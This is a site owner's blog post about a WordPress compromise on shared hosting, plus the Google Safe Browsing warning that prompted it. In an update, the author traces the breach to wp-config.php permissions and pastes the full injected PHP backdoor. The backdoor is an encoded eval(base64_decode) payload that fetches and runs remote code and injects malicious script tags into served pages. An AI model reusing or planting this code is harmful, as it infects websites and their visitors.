Securing Shared Hosting Websites (Dreamhost)
UPDATE: Looks like I was wrong and figured out how they hacked my configuration. You need to do a careful review of your file permissions. Specifically in my case it was wp-config.php
Make sure it has no higher permissions than a 640. If it does, go ahead and change passwords while you’re at it since that’s been compromised as well even if not changed. Here’s the malicious code below for those who are curious on how it was made:
eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPSJodHRwOi8vc3dlZXBzdGFrZXNhbmRjb250ZXN0c2RvLmNvbS8iOyAgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICRfU0VSVkVSWydzX2ExJ109J2h0dHA6Ly93d3cubGlseXBvcGhpbHlwb3AuY29tL2dfbG9hZC5waHAnLiRkOyAgJF9TRVJWRVJbJ3NfYTInXT0naHR0cDovL3d3dy5sb2x5cG9waG9seXBvcC5jb20vZ19sb2FkLnBocCcuJGQ7ICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibW0ucGhwP2Q9MSI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9″));
—
I have to say I was disheartened when Google sent me an email saying my website has been compromised and that it is serving malware. I am pretty good and fairly conscious on security but I thought, it may still be a possibility my site was hacked. So I finally took the time to investigate and find out what happened. Unfortunately, there doesn’t seem to be a problem with my site. According to Google, there are two other domains (don’t click them- it’s shown below) that are in fact spreading malware which seem to correlate with “2 suspicious activities”. Just to be on the safe side, I scanned my site using other online tools, and a code review of my index pages. Everything seems to be in order. I requested a review by Google to update their records so hopefully it won’t be too long to remove the warning. As a side note, if you’re a security expert and can hack my site (cause you’re that good), I present to you a challenge to do so and educate me on how you did it. Below you’ll find the full warning that you see now when trying to visit my blog:
Safe Browsing
Diagnostic page for sharifhkhan.com
What is the current listing status for sharifhkhan.com?
Site is listed as suspicious – visiting this web site may harm your computer.
Part of this site was listed for suspicious activity 2 time(s) over the past 90 days.
What happened when Google visited this site?
Of the 5 pages we tested on the site over the past 90 days, 1 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2012-04-24, and the last time suspicious content was found on this site was on 2012-04-10. Malicious software is hosted on 2 domain(s), including scannercustodiansolution.info/,sweepstakesandcontestsdo.com/.
2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including sweepstakesandcontestsdo.com/, rjust18iceeme.rr.nu/.
This site was hosted on 1 network(s) including AS26347 (DREAMHOST).
Has this site acted as an intermediary resulting in further distribution of malware?
Over the past 90 days, sharifhkhan.com did not appear to function as an intermediary for the infection of any sites.
Has this site hosted malware?
No, this site has not hosted malicious software over the past 90 days.
How did this happen?
In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.
Next steps:
- Return to the previous page.
- If you are the owner of this web site, you can request a review of your site using Google Webmaster Tools. More information about the review process is available in Google’s Webmaster Help Center.


